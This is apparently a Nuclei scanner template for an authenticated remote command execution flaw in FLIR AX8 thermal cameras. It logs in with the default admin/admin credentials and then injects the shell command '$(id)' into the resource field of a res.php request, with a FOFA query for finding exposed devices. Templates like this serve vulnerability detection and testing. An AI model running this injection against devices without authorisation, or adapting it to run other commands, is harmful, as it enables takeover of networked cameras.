id: flir-ax8-rce

info:
  name: FLIR-AX8 res.php - Remote Code Execution
  author: momika233
  severity: critical
  description: |
    Remote Command Execution vulnerability in the FLIR-AX8 res.php file, the attacker obtains server permissions after logging in to the background with the default password.
  reference:
    - https://www.exploit-db.com/exploits/45602
    - https://github.com/PeiQi0/PeiQi-WIKI-Book/blob/main/docs/wiki/iot/%E8%8F%B2%E5%8A%9B%E5%B0%94/FLIR-AX8%20res.php%20%E5%90%8E%E5%8F%B0%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="FLIR-FLIR-AX8"
  tags: flir-ax8,rce,exploitdb,iot,sensor,authenticated
variables:
  username: admin
  password: admin

http:
  - raw:
      - |
        POST /login/dologin HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        user_name={{username}}&user_password={{password}}
      - |
        POST /res.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        action=node&resource=$(id)

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - contains_all(to_lower(header_1), 'text/html','phpsessid','showcameraid')
          - contains(body_1, 'success')
          - status_code_1 == 200 && status_code_2 == 200
        condition: and

      - type: regex
        part: body_2
        regex:
          - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'

      - type: status
        status:
          - 200

    extractors:
      - type: regex
        part: body_2
        regex:
          - 'uid=([0-9(a-z)]+) gid=([0-9(a-z)]+)'

# digest: 4b0a00483046022100d9a68cb898649a4b2ada6d43c1698cf65a7d1824941994462ffbdb06fea2825c022100e5e4915caac95332342a94a82137128012aad187741b9ebb71f90a1777754f41:922c64590222798bb761d5b6d8e72950
